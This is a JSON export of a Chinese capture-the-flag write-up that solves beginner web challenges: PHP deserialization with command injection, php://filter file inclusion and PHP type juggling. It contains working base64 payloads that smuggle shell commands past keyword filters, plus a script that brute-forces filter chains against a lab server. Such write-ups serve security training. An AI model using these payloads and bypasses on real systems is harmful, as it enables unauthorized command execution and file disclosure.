{"id":1892,"date":"2025-12-18T16:33:03","date_gmt":"2025-12-18T08:33:03","guid":{"rendered":"https:\/\/www.sanjiuctf.cn\/?p=1892"},"modified":"2025-12-18T16:48:13","modified_gmt":"2025-12-18T08:48:13","slug":"%e6%94%bb%e9%98%b2%e4%b8%96%e7%95%8cweb%e9%9a%be%e5%ba%a6%e4%b8%80%e6%95%b4%e5%90%88wp","status":"publish","type":"post","link":"https:\/\/www.sanjiuctf.cn\/?p=1892","title":{"rendered":"\u653b\u9632\u4e16\u754cWeb\u96be\u5ea6\u4e00\u6574\u5408wp"},"content":{"rendered":"\n

\u653b\u9632\u4e16\u754cWeb\u96be\u5ea6\u4e00\u6574\u5408<\/strong><\/p>\n\n\n\n

unseping<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
    \n
  • \u63a5\u6536\u4e00\u4e2a\u7ecf\u8fc7 Base64 \u7f16\u7801\u7684 POST \u53c2\u6570 ctf<\/code>\u3002<\/li>\n\n\n\n
  • \u5bf9\u8be5\u53c2\u6570\u8fdb\u884c base64_decode<\/code> \u540e unserialize<\/code>\uff08\u53cd\u5e8f\u5217\u5316\uff09\u3002<\/li>\n\n\n\n
  • \u5b9a\u4e49\u4e86\u4e00\u4e2a ease<\/code> \u7c7b\uff0c\u5305\u542b\uff1a\n
      \n
    • \u79c1\u6709\u5c5e\u6027 $method<\/code> \u548c $args<\/code><\/li>\n\n\n\n
    • \u6784\u9020\u51fd\u6570 __construct<\/code><\/li>\n\n\n\n
    • \u6790\u6784\u51fd\u6570 __destruct<\/code><\/li>\n\n\n\n
    • \u4e00\u4e2a\u5371\u9669\u51fd\u6570 ping($ip)<\/code>\uff0c\u5185\u90e8\u4f7f\u7528 exec()<\/code> \u6267\u884c\u547d\u4ee4<\/li>\n\n\n\n
    • \u4e00\u4e2a WAF\uff08Web Application Firewall\uff09\u51fd\u6570 waf($str)<\/code>\uff0c\u7528\u4e8e\u8fc7\u6ee4\u5371\u9669\u5b57\u7b26\/\u547d\u4ee4<\/li>\n\n\n\n
    • __wakeup()<\/code> \u65b9\u6cd5\uff0c\u5728\u53cd\u5e8f\u5217\u5316\u65f6\u81ea\u52a8\u8c03\u7528\uff0c\u5bf9 $args<\/code> \u4e2d\u6bcf\u4e2a\u53c2\u6570\u8fdb\u884c WAF \u8fc7\u6ee4<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n

      php\u53cd\u5e8f\u5217\u5316\u9898\u76ee<\/p>\n\n\n\n

      <?php\nclass ease {\n    private $method;\n    private $args;\n\n    function __construct($method, $args) {\n        $this->method = $method;\n        $this->args = $args;\n    }\n}\n\n\/\/ \u521b\u5efa\u5bf9\u8c61\n$obj = new ease(\"ping\", array(\"dir\"));\n\n\/\/ \u5e8f\u5217\u5316\n$serialized = serialize($obj);\n\n\/\/ Base64\u7f16\u7801\n$base64 = base64_encode($serialized);\n\necho \"\u5e8f\u5217\u5316\u5b57\u7b26\u4e32: \" . $serialized . \"n\";\necho \"Base64\u7f16\u7801: \" . $base64 . \"n\";\n\n\/\/ \u9a8c\u8bc1\u89e3\u7801\necho \"n\u9a8c\u8bc1\u89e3\u7801:n\";\n$decoded = base64_decode($base64);\necho \"Base64\u89e3\u7801\u540e: \" . $decoded . \"n\";\n\n$unserialized = unserialize($decoded);\necho \"\u53cd\u5e8f\u5217\u5316\u5bf9\u8c61\u7c7b\u578b: \" . get_class($unserialized) . \"n\";\n\n\/\/ \u901a\u8fc7\u53cd\u5c04\u8bbf\u95ee\u79c1\u6709\u5c5e\u6027\n$reflection = new ReflectionClass($unserialized);\n$methodProperty = $reflection->getProperty('method');\n$methodProperty->setAccessible(true);\n$argsProperty = $reflection->getProperty('args');\n$argsProperty->setAccessible(true);\n\necho \"Method: \" . $methodProperty->getValue($unserialized) . \"n\";\necho \"Args: \";\nprint_r($argsProperty->getValue($unserialized));\n?><\/code><\/pre>\n\n\n\n
      \u5e8f\u5217\u5316\u5b57\u7b26\u4e32: O:4:\"ease\":2:{s:12:\"easemethod\";s:4:\"ping\";s:10:\"easeargs\";a:1:{i:0;s:3:\"dir\";}}\nTzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJkaXIiO319<\/code><\/pre>\n\n\n\n
      \"\"<\/div><\/figure>\n\n\n\n
      \u83b7\u53d6\u5f53\u524d\u76ee\u5f55<\/p>\n\n\n\n
      \u67e5\u770bflag_1s_hers<\/p>\n\n\n\n
        \n
      • l''s<\/code><\/strong> \u2192 \u7ed5\u8fc7 ls<\/code> \u5173\u952e\u8bcd\u68c0\u6d4b<\/li>\n\n\n\n
      • ${IFS}<\/code><\/strong> \u2192 \u7ed5\u8fc7\u7a7a\u683c\u8fc7\u6ee4\uff08shell \u4f1a\u89e3\u6790\u4e3a\u5b9e\u9645\u7a7a\u683c\uff09<\/li>\n\n\n\n
      • f''lag_1s_here<\/code><\/strong> \u2192 \u7ed5\u8fc7 flag<\/code> \u5173\u952e\u8bcd\u68c0\u6d4b<\/li>\n<\/ul>\n\n\n\n
        <?php\n\/\/ \u5b9a\u4e49 ease \u7c7b\uff08\u5fc5\u987b\u4e0e\u76ee\u6807\u4ee3\u7801\u7ed3\u6784\u4e00\u81f4\uff09\nclass ease {\n    private $method;\n    private $args;\n\n    public function __construct($method, $args) {\n        $this->method = $method;\n        $this->args = $args;\n    }\n}\n\n\/\/ \u6784\u9020\u7ed5\u8fc7 WAF \u7684\u547d\u4ee4\n$command = \"l''s${IFS}f''lag_1s_here\"; \/\/ \u6ce8\u610f\uff1a${IFS} \u9700\u8981\u8f6c\u4e49 $\n\n\/\/ \u521b\u5efa\u5bf9\u8c61\n$obj = new ease(\"ping\", [$command]);\n\n\/\/ \u751f\u6210 payload\n$serialized = serialize($obj);\n$payload = base64_encode($serialized);\n\n\/\/ \u8f93\u51fa\u7ed3\u679c\necho \"Serialized object:n\";\necho $serialized . \"nn\";\n\necho \"Base64 payload (for ctf=):n\";\necho $payload . \"n\";\n?><\/code><\/pre>\n\n\n\n
        ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCcncyR7SUZTfWYnJ2xhZ18xc19oZXJlIjt9fQ==<\/code><\/pre>\n\n\n\n
        \"\"<\/div><\/figure>\n\n\n\n
          \n
        • WAF \u68c0\u67e5\u7684\u662f\u539f\u59cb\u5b57\u7b26\u4e32<\/strong>\uff0c\u4e0d\u662f shell \u89e3\u6790\u540e\u7684\u5185\u5bb9<\/li>\n\n\n\n
        • \u539f\u59cb\u5b57\u7b26\u4e32 l''s${IFS}f''lag_1s_here<\/code>\uff1a\n
            \n
          • \u2705 \u65e0\u7a7a\u683c\u5b57\u7b26\uff08\u53ea\u6709 ${IFS}<\/code> \u6587\u672c\uff09<\/li>\n\n\n\n
          • \u2705 \u65e0 ls<\/code> \u8fde\u7eed\u5b50\u4e32\uff08\u662f l''s<\/code>\uff09<\/li>\n\n\n\n
          • \u2705 \u65e0 flag<\/code> \u8fde\u7eed\u5b50\u4e32\uff08\u662f f''lag_1s_here<\/code>\uff09<\/li>\n\n\n\n
          • \u2705 \u65e0 \/<\/code> \u5b57\u7b26<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n
            \u67e5\u770b<\/p>\n\n\n\n
            \u4f7f\u7528\uff1a<\/p>\n\n\n\n
              \n
            • c''at<\/code> \u2192 \u7ed5\u8fc7 cat<\/code><\/li>\n\n\n\n
            • f\"\"lag_1s_here<\/code> + f''lag_...p''hp<\/code> \u2192 \u7ed5\u8fc7 flag<\/code> \u548c php<\/code><\/li>\n\n\n\n
            • ${IFS}<\/code> \u2192 \u7ed5\u8fc7\u7a7a\u683c<\/li>\n\n\n\n
            • $(printf \"57\")<\/code> \u2192 \u7ed5\u8fc7 \/<\/code><\/li>\n<\/ul>\n\n\n\n
              <?php\n\nclass ease {\n    private $method;\n    private $args;\n\n    \/\/ \u6784\u9020\u51fd\u6570\uff08\u867d\u7136\u53cd\u5e8f\u5217\u5316\u65f6\u4e0d\u8c03\u7528\uff0c\u4f46\u5b9a\u4e49\u66f4\u6e05\u6670\uff09\n    public function __construct($method, $args) {\n        $this->method = $method;\n        $this->args = $args;\n    }\n}\n\n\/\/ \u6784\u9020\u7ed5\u8fc7 WAF \u7684\u547d\u4ee4\n$command = 'c''at${IFS}f\"\"lag_1s_here$(printf${IFS}\"57\")f''lag_831b69012c67b35f.p''hp';\n\n\/\/ \u521b\u5efa\u5bf9\u8c61\n$obj = new ease(\"ping\", [$command]);\n\n\/\/ \u5e8f\u5217\u5316 + Base64 \u7f16\u7801\n$serialized = serialize($obj);\n$payload = base64_encode($serialized);\n\necho \"Serialized object:n\";\necho $serialized . \"nn\";\n\necho \"Base64-encoded payload (use as ctf=...):n\";\necho $payload . \"n\";\n\n?><\/code><\/pre>\n\n\n\n
              ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYycnYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZicnbGFnXzgzMWI2OTAxMmM2N2IzNWYucCcnaHAiO319<\/code><\/pre>\n\n\n\n
              \"\"<\/div><\/figure>\n\n\n\n
              cyberpeace{81801bc84f9eee657f56075e972eab97}<\/code><\/pre>\n\n\n\n
              file_include<\/h2>\n\n\n\n
              \"\"<\/div><\/figure>\n\n\n\n
              \"\"<\/div><\/figure>\n\n\n\n
              \u6f0f\u6d1e\u5206\u6790<\/strong><\/h3>\n\n\n\n
                \n
              • \u901a\u8fc7GET\u53c2\u6570filename<\/code>\u52a8\u6001\u5305\u542b\u4efb\u610f\u6587\u4ef6\uff0c\u4e14\u672a\u505a\u4efb\u4f55\u5b89\u5168\u8fc7\u6ee4\uff08\u4f46\u5b9e\u9645\u53d7check.php<\/code>\u5f71\u54cd\uff09\u3002<\/li>\n\n\n\n
              • include()<\/code>\u4f1a\u6267\u884cPHP\u4ee3\u7801\uff0c\u82e5\u76f4\u63a5\u5305\u542bflag.php<\/code>\uff0c\u5176\u4e2d\u7684PHP\u903b\u8f91\u53ef\u80fd\u9690\u85cf\u6216\u9500\u6bc1Flag\u3002<\/li>\n<\/ul>\n\n\n\n
                \u6f0f\u6d1e\u70b9\u5728\u4e8einclude($filename);<\/code>\u76f4\u63a5\u4f7f\u7528\u4e86\u7528\u6237\u53ef\u63a7\u7684$_GET['filename']<\/code>\u53c2\u6570\uff0c\u4e14\u672a\u505a\u4e25\u683c\u8fc7\u6ee4\uff0c\u53ef\u901a\u8fc7\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u8bfb\u53d6\u670d\u52a1\u5668\u4e0a\u7684\u654f\u611f\u6587\u4ef6\uff08\u5982check.php<\/code>\u3001flag<\/code>\u76f8\u5173\u6587\u4ef6\u7b49\uff09\u3002<\/p>\n\n\n\n
                php:\/\/filter \u76f4\u63a5\u7528\u662f\u76f4\u63a5\u8fdb\u884c\u4e86\u8fc7\u6ee4<\/p>\n\n\n\n
                \"\"<\/div><\/figure>\n\n\n\n
                \u7528\u8f6c\u6362\u8fc7\u6ee4\u5668<\/p>\n\n\n\n
                \u4f7f\u7528string.rot13<\/code>\u8fc7\u6ee4\u5668 \u4e0d\u884c<\/p>\n\n\n\n
                \u4f7f\u7528convert.iconv.UTF-8.UTF-16<\/code>\uff1a\u53ef\u4ee5<\/p>\n\n\n\n
                \"\"<\/div><\/figure>\n\n\n\n
                \u53ef\u4ee5\u53d1\u73b0\u51fa\u4e1c\u897f\u4e86,\u6240\u4ee5\u7528\u7684\u662f\u8fd9\u4e2a<\/p>\n\n\n\n
                \u6d4b\u8bd5\u6240\u6709\u4e0d\u5305\u542b\u8fc7\u6ee4\u8bcd\u7684\u7f16\u7801\u7ec4\u5408<\/p>\n\n\n\n
                \u53cc\u91cd\u8f6c\u6362\u5c1d\u8bd5<\/p>\n\n\n\n
                py3<\/p>\n\n\n\n
                import requests\nimport time\n\nbase_url = \"http:\/\/61.147.171.105:55432\"\nencodings = [\n    'UCS-4', 'UCS-4LE', 'UCS-2', 'UCS-2LE',\n    'UTF-8', 'UTF-16', 'UTF-16LE', 'UTF-32', 'UTF-32LE',\n    'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4',\n    'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8',\n    'ISO-8859-9', 'ISO-8859-10', 'ISO-8859-11', 'ISO-8859-13',\n    'ISO-8859-14', 'ISO-8859-15', 'ISO-8859-16',\n    'CP1250', 'CP1251', 'CP1252', 'CP1253', 'CP1254',\n    'CP1255', 'CP1256', 'CP1257', 'CP1258',\n    'ASCII', 'US-ASCII', 'KOI8-R', 'KOI8-U'\n]\n\npaths = [\"flag.php\", \".\/flag.php\", \"\/flag.php\", \"..\/flag.php\", \"..\/..\/flag.php\", \"..\/..\/..\/flag.php\"]\n\nencoding_map = {\n    'UCS-4': 'utf-32',\n    'UCS-4LE': 'utf-32le',\n    'UCS-2': 'utf-16',\n    'UCS-2LE': 'utf-16le',\n    'UTF-8': 'utf-8',\n    'UTF-16': 'utf-16',\n    'UTF-16LE': 'utf-16le',\n    'UTF-32': 'utf-32',\n    'UTF-32LE': 'utf-32le',\n    'ISO-8859-1': 'iso-8859-1',\n    'ISO-8859-2': 'iso-8859-2',\n    'ISO-8859-3': 'iso-8859-3',\n    'ISO-8859-4': 'iso-8859-4',\n    'ISO-8859-5': 'iso-8859-5',\n    'ISO-8859-6': 'iso-8859-6',\n    'ISO-8859-7': 'iso-8859-7',\n    'ISO-8859-8': 'iso-8859-8',\n    'ISO-8859-9': 'iso-8859-9',\n    'ISO-8859-10': 'iso-8859-10',\n    'ISO-8859-11': 'iso-8859-11',\n    'ISO-8859-13': 'iso-8859-13',\n    'ISO-8859-14': 'iso-8859-14',\n    'ISO-8859-15': 'iso-8859-15',\n    'ISO-8859-16': 'iso-8859-16',\n    'CP1250': 'cp1250',\n    'CP1251': 'cp1251',\n    'CP1252': 'cp1252',\n    'CP1253': 'cp1253',\n    'CP1254': 'cp1254',\n    'CP1255': 'cp1255',\n    'CP1256': 'cp1256',\n    'CP1257': 'cp1257',\n    'CP1258': 'cp1258',\n    'ASCII': 'ascii',\n    'US-ASCII': 'ascii',\n    'KOI8-R': 'koi8_r',\n    'KOI8-U': 'koi8_u',\n}\n\ndef get_encoding_for_python(enc):\n    return encoding_map.get(enc, enc)\n\ndef test_payload(payload):\n    try:\n        response = requests.get(f\"{base_url}?filename={payload}\", timeout=5)\n        if response.status_code == 200:\n            return response.content\n    except:\n        pass\n    return None\n\ndef search_flag(content, dst):\n    try:\n        python_enc = get_encoding_for_python(dst)\n        target_bytes = b\"cyberpeace\"\n        if dst in ['UTF-16', 'UTF-16LE']:\n            target_bytes = b\"cx00yx00bx00ex00rx00px00ex00ax00cx00ex00\"\n        elif dst in ['UCS-2', 'UCS-2LE']:\n            target_bytes = b\"cx00yx00bx00ex00rx00px00ex00ax00cx00ex00\"\n        elif dst in ['UCS-4', 'UCS-4LE']:\n            target_bytes = b\"cx00x00x00yx00x00x00bx00x00x00ex00x00x00rx00x00x00px00x00x00ex00x00x00ax00x00x00cx00x00x00ex00x00x00\"\n        return target_bytes in content\n    except:\n        return False\n\nfound = False\nprint(\"Starting brute force attack...\")\nprint(\"=\" * 60)\n\nfor path in paths:\n    if found:\n        break\n    for src in encodings:\n        if found:\n            break\n        for dst in encodings:\n            if src == dst:\n                continue\n            if any(word in src.upper() for word in ['BE']) or any(word in dst.upper() for word in ['BE']):\n                continue\n\n            payload = f\"php:\/\/filter\/convert.iconv.{src}.{dst}\/resource={path}\"\n            print(f\"Testing: {payload}\")\n\n            content = test_payload(payload)\n            if content is None or len(content) == 0:\n                continue\n\n            if search_flag(content, dst):\n                print(f\"nSUCCESS! Found flag with payload: {payload}\")\n                print(\"-\" * 60)\n                try:\n                    python_enc = get_encoding_for_python(dst)\n                    decoded = content.decode(python_enc, errors='ignore')\n                    print(f\"Decoded content:n{decoded}\")\n                    if 'cyberpeace{' in decoded:\n                        start = decoded.find('cyberpeace{')\n                        end = decoded.find('}', start)\n                        if end != -1:\n                            flag = decoded[start:end+1]\n                            print(f\"nFlag found: {flag}\")\n                    else:\n                        print(f\"Raw content (hex): {content[:200].hex()}\")\n                except:\n                    print(f\"Raw content (first 500 bytes): {content[:500]}\")\n                found = True\n                break\n\n            time.sleep(0.03)\n\nif not found:\n    print(\"nTrying double conversion filters...\")\n    print(\"=\" * 60)\n\n    for path in paths:\n        if found:\n            break\n        for enc1 in encodings:\n            if found:\n                break\n            for enc2 in encodings:\n                if enc1 == enc2 or enc1 == 'UTF-8' or enc2 == 'UTF-8':\n                    continue\n                if any(word in enc1.upper() for word in ['BE']) or any(word in enc2.upper() for word in ['BE']):\n                    continue\n\n                payload = f\"php:\/\/filter\/convert.iconv.UTF-8.{enc1}|convert.iconv.{enc1}.{enc2}|convert.iconv.{enc2}.UTF-8\/resource={path}\"\n                print(f\"Testing: {payload}\")\n\n                content = test_payload(payload)\n                if content is None or len(content) == 0:\n                    continue\n\n                if b'cyberpeace' in content:\n                    print(f\"nSUCCESS! Found flag with payload: {payload}\")\n                    print(\"-\" * 60)\n                    try:\n                        decoded = content.decode('utf-8', errors='ignore')\n                        print(f\"Decoded content:n{decoded}\")\n                        if 'cyberpeace{' in decoded:\n                            start = decoded.find('cyberpeace{')\n                            end = decoded.find('}', start)\n                            if end != -1:\n                                flag = decoded[start:end+1]\n                                print(f\"nFlag found: {flag}\")\n                    except:\n                        print(f\"Raw content: {content[:500]}\")\n                    found = True\n                    break\n\n                time.sleep(0.03)\n\nif not found:\n    print(\"nTrying specific known payloads...\")\n    print(\"=\" * 60)\n\n    specific_payloads = [\n        \"php:\/\/filter\/convert.iconv.UCS-4.UCS-4LE\/resource=flag.php\",\n        \"php:\/\/filter\/convert.iconv.UTF-8.UTF-16LE\/resource=flag.php\",\n        \"php:\/\/filter\/convert.iconv.UCS-2.UCS-2LE\/resource=flag.php\",\n        \"php:\/\/filter\/convert.iconv.UTF-8.ISO-8859-1\/resource=flag.php\",\n        \"php:\/\/filter\/convert.iconv.UTF-8.UTF-32LE\/resource=flag.php\",\n        \"php:\/\/filter\/convert.iconv.ISO-8859-1.UTF-8\/resource=flag.php\",\n        \"php:\/\/filter\/convert.iconv.UTF-8.UCS-2\/resource=flag.php\",\n        \"php:\/\/filter\/convert.iconv.UTF-8.UCS-4\/resource=flag.php\",\n    ]\n\n    for payload in specific_payloads:\n        print(f\"Testing: {payload}\")\n        content = test_payload(payload)\n        if content and len(content) > 0:\n            if b'cyberpeace' in content or b'cyberpeace{' in content:\n                print(f\"nSUCCESS! Found flag with payload: {payload}\")\n                print(\"-\" * 60)\n                print(f\"Raw content: {content[:500]}\")\n\n                try:\n                    if 'UCS-4LE' in payload:\n                        decoded_bytes = b''\n                        for i in range(0, len(content), 4):\n                            if i + 4 <= len(content):\n                                chunk = content[i:i+4]\n                                decoded_bytes += chunk[::-1]\n                        try:\n                            decoded = decoded_bytes.decode('utf-32le', errors='ignore')\n                            print(f\"Decoded UCS-4LE: {decoded}\")\n                        except:\n                            pass\n                    elif 'UTF-16LE' in payload:\n                        decoded = content.decode('utf-16le', errors='ignore')\n                        print(f\"Decoded UTF-16LE: {decoded}\")\n                    elif 'UCS-2LE' in payload:\n                        decoded = content.decode('utf-16le', errors='ignore')\n                        print(f\"Decoded UCS-2LE: {decoded}\")\n                    else:\n                        decoded = content.decode('utf-8', errors='ignore')\n                        print(f\"Decoded: {decoded}\")\n                except:\n                    pass\n\n                found = True\n                break\n            else:\n                try:\n                    decoded = content.decode('utf-8', errors='ignore')\n                    if 'cyberpeace' in decoded:\n                        print(f\"nFound cyberpeace in decoded text: {decoded[:200]}\")\n                        found = True\n                        break\n                except:\n                    pass\n        time.sleep(0.03)\n\nif not found:\n    print(\"nFlag not found with brute force.\")\n    print(\"Trying direct file inclusion...\")\n    print(\"=\" * 60)\n\n    for path in paths:\n        print(f\"Testing direct: {path}\")\n        content = test_payload(path)\n        if content and len(content) > 0:\n            print(f\"Response length: {len(content)}\")\n            if b'cyberpeace' in content:\n                print(f\"Found cyberpeace in direct inclusion!\")\n                print(f\"Content: {content[:500]}\")\n                found = True\n                break\n        time.sleep(0.03)\n\nprint(\"n\" + \"=\" * 60)\nprint(\"Brute force attack completed.\")<\/code><\/pre>\n\n\n\n
                \"\"<\/div><\/figure>\n\n\n\n
                \u53d1\u73b0\u6b63\u786e\u7684payload<\/p>\n\n\n\n
                \"\"<\/div><\/figure>\n\n\n\n
                cyberpeace{49497801489bc5f0b68fc832e22ddc08}<\/code><\/pre>\n\n\n\n
                easyphp<\/h2>\n\n\n\n
                \"\"<\/div><\/figure>\n\n\n\n
                \"\"<\/div><\/figure>\n\n\n\n
                <?php\nhighlight_file(__FILE__); \/\/ \u663e\u793a\u5f53\u524d\u6e90\u7801\n$key1 = 0; \/\/ \u6761\u4ef61\u6807\u8bb0\uff0c\u9700\u7f6e1\n$key2 = 0; \/\/ \u6761\u4ef62\u6807\u8bb0\uff0c\u9700\u7f6e1\n\n$a = $_GET['a']; \/\/ \u63a5\u6536GET\u53c2\u6570a\n$b = $_GET['b']; \/\/ \u63a5\u6536GET\u53c2\u6570b\n\n\/\/ \u7b2c\u4e00\u7ec4\u6761\u4ef6\uff1aa\u7684\u9a8c\u8bc1\nif(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){\n    \/\/ \u7b2c\u4e8c\u7ec4\u6761\u4ef6\uff1ab\u7684\u9a8c\u8bc1\n    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){\n        $key1 = 1; \/\/ \u6ee1\u8db3a+b\u6761\u4ef6\uff0ckey1\u7f6e1\n    }else{\n        die(\"Emmm...\u518d\u60f3\u60f3\"); \/\/ b\u4e0d\u6ee1\u8db3\n    }\n}else{\n    die(\"Emmm...\"); \/\/ a\u4e0d\u6ee1\u8db3\n}\n\n\/\/ \u7b2c\u4e09\u7ec4\u6761\u4ef6\uff1ac\u7684\u9a8c\u8bc1\n$c=(array)json_decode(@$_GET['c']); \/\/ c\u9700\u662fJSON\u89e3\u6790\u540e\u8f6c\u6570\u7ec4\nif(is_array($c) && !is_numeric(@$c[\"m\"]) && $c[\"m\"] > 2022){\n    if(is_array(@$c[\"n\"]) && count($c[\"n\"]) == 2 && is_array($c[\"n\"][0])){\n        $d = array_search(\"DGGJ\", $c[\"n\"]);\n        $d === false?die(\"no...\"):NULL; \/\/ array_search\u9700\u627e\u5230\"DGGJ\"\uff08\u975efalse\uff09\n        foreach($c[\"n\"] as $key=>$val){\n            $val===\"DGGJ\"?die(\"no......\"):NULL; \/\/ \u6240\u6709\u5143\u7d20\u4e0d\u80fd\u4e25\u683c\u7b49\u4e8e\"DGGJ\"\n        }\n        $key2 = 1; \/\/ \u6ee1\u8db3c\u7684\u6240\u6709\u5b50\u6761\u4ef6\uff0ckey2\u7f6e1\n    }else{\n        die(\"no hack\"); \/\/ c[\"n\"]\u683c\u5f0f\u4e0d\u6ee1\u8db3\n    }\n}else{\n    die(\"no\"); \/\/ c\u6216c[\"m\"]\u4e0d\u6ee1\u8db3\n}\n\n\/\/ \u6700\u7ec8\u6761\u4ef6\uff1akey1\u548ckey2\u5747\u4e3a1\nif($key1 && $key2){\n    include \"Hgfks.php\"; \/\/ \u5305\u542bflag\u6587\u4ef6\n    echo \"You're right\".\"n\";\n    echo $flag; \/\/ \u8f93\u51faflag\n}\n?><\/code><\/pre>\n\n\n\n
                \u539f\u7406\u5c31\u662f\uff1a\u6784\u9020 GET \u53c2\u6570 a<\/code>\u3001b<\/code>\u3001c<\/code>\uff0c\u6ee1\u8db3\u4ee3\u7801\u4e2d\u6240\u6709\u6761\u4ef6\uff0c\u8ba9 $key1<\/code> \u548c $key2<\/code> \u90fd\u4e3a 1\uff0c\u6700\u7ec8\u8f93\u51fa flag\u3002<\/p>\n\n\n\n
                \u7834\u89e3\u53c2\u6570 a<\/code><\/p>\n\n\n\n
                  \n
                • a<\/code> \u5fc5\u987b\u5b58\u5728\uff1b<\/li>\n\n\n\n
                • \u8f6c\u6210\u6570\u5b57\u8981\u5927\u4e8e 600 \u4e07\uff1b<\/li>\n\n\n\n
                • \u5b57\u7b26\u957f\u5ea6\u22643\u3002<\/li>\n<\/ul>\n\n\n\n
                  PHP \u80fd\u8bc6\u522b\u79d1\u5b66\u8ba1\u6570\u6cd5<\/strong>\uff0c\u6bd4\u5982 7e6<\/code> \u7b49\u4ef7\u4e8e 7000000<\/code>\uff08700 \u4e07\uff09\uff0c\u4e14 7e6<\/code> \u53ea\u6709 3 \u4e2a\u5b57\u7b26\uff0c\u5b8c\u7f8e\u6ee1\u8db3\u6240\u6709\u6761\u4ef6\u3002<\/p>\n\n\n\n
                  \u6700\u7ec8\u503c\uff1aa=7e6<\/code><\/p>\n\n\n\n
                  \u7834\u89e3\u53c2\u6570 b<\/code><\/p>\n\n\n\n
                  py3\u811a\u672c\u5448\u73b0<\/p>\n\n\n\n
                  import hashlib\n\ntarget_suffix = \"8b184b\"\n# \u679a\u4e3e\u6570\u5b57\uff08\u6570\u5b57\u679a\u4e3e\u6548\u7387\u6700\u9ad8\uff0cCTF\u9898\u76ee\u901a\u5e38\u4e3a\u7b80\u5355\u5b57\u7b26\uff09\nfor i in range(10000000):\n    b_str = str(i)\n    md5_result = hashlib.md5(b_str.encode()).hexdigest()\n    if md5_result[-6:] == target_suffix:\n        print(f\"\u627e\u5230b\u7684\u503c\uff1a{b_str}\")\n        print(f\"MD5\u5b8c\u6574\u503c\uff1a{md5_result}\")\n        break<\/code><\/pre>\n\n\n\n
                  \"\"<\/div><\/figure>\n\n\n\n
                  b\u7684 MD5 \u503c\u6700\u540e 6 \u4f4d\u5fc5\u987b\u662f 8b184b<\/code><\/pre>\n\n\n\n
                  MD5 \u662f 0e78586068984c25d999c5e08b184b<\/code>\uff0c\u6700\u540e 6 \u4f4d\u6b63\u597d\u662f 8b184b<\/code><\/p>\n\n\n\n
                  b=53724<\/code><\/p>\n\n\n\n
                  \u7834\u89e3\u53c2\u6570 c<\/code><\/p>\n\n\n\n
                    \n
                  1. c<\/code> \u662f\u5408\u6cd5 JSON \u5b57\u7b26\u4e32\uff0c\u89e3\u6790\u540e\u8f6c\u6210\u6570\u7ec4\uff1b<\/li>\n\n\n\n
                  2. c[\"m\"]<\/code> \u4e0d\u662f\u7eaf\u6570\u5b57\uff0c\u4f46\u6570\u503c\u4e0a\u5927\u4e8e 2022\uff1b<\/li>\n\n\n\n
                  3. c[\"n\"]<\/code> \u662f\u6570\u7ec4\u3001\u957f\u5ea6 = 2\u3001\u7b2c\u4e00\u4e2a\u5143\u7d20\u4e5f\u662f\u6570\u7ec4\uff1b<\/li>\n\n\n\n
                  4. \u80fd \u201c\u627e\u5230\u201d DGGJ\uff08\u677e\u6563\u5339\u914d\uff09\uff0c\u4f46\u6240\u6709\u5143\u7d20\u90fd\u4e0d\u80fd\u4e25\u683c\u7b49\u4e8e DGGJ\u3002<\/li>\n<\/ol>\n\n\n\n
                    \u5229\u7528 PHP \u7684\u6bd4\u8f83\u7279\u6027\uff1a\u5b57\u7b26\u4e32 DGGJ<\/code> \u548c\u6570\u5b57 0<\/code> \u677e\u6563\u76f8\u7b49<\/strong>\uff08==<\/code>\uff09\uff0c\u4f46\u4e25\u683c\u4e0d\u7b49<\/strong>\uff08===<\/code>\uff09\u3002<\/p>\n\n\n\n
                    c[\"m\"] \u9009 9999a\uff1a\u4e0d\u662f\u7eaf\u6570\u5b57\uff0c\u8f6c\u6570\u5b57\u662f 9999\uff08>2022\uff09\uff1b\nc[\"n\"] \u9009 [[\"12345\"], 0]\uff1a\n\u662f\u6570\u7ec4\u3001\u957f\u5ea6 2\u3001\u7b2c\u4e00\u4e2a\u5143\u7d20\u662f\u6570\u7ec4\uff08\u6ee1\u8db3\u683c\u5f0f\uff09\uff1b\narray_search \u627e DGGJ \u65f6\uff0c\u4f1a\u5339\u914d\u5230 0\uff08\u677e\u6563\u76f8\u7b49\uff09\uff0c\u4e0d\u8fd4\u56de false\uff1b\n\u904d\u5386\u5143\u7d20\u65f6\uff0c[\"12345\"] \u548c 0 \u90fd\u4e25\u683c\u4e0d\u7b49\u4e8e DGGJ\uff08\u4e0d\u89e6\u53d1 die\uff09\u3002\n\u6700\u7ec8\u503c\uff08JSON \u683c\u5f0f\uff09\uff1ac={\"m\":\"9999a\",\"n\":[[\"12345\"],0]}<\/code><\/pre>\n\n\n\n
                    http://61.147.171.105:52908\/?a=7e6&b=53724&c={%22m%22:%229999a%22,%22n%22:[[%2212345%22],0]}<\/code><\/pre>\n\n\n\n
                    \"\"<\/div><\/figure>\n\n\n\n
                    cyberpeace{e100bcec9ec33cc4eb21a52a18aedfe8}<\/code><\/pre>\n\n\n\n
                    fileclude<\/h2>\n\n\n\n
                    \"\"<\/div><\/figure>\n\n\n\n
                    \"\"<\/div><\/figure>\n\n\n\n
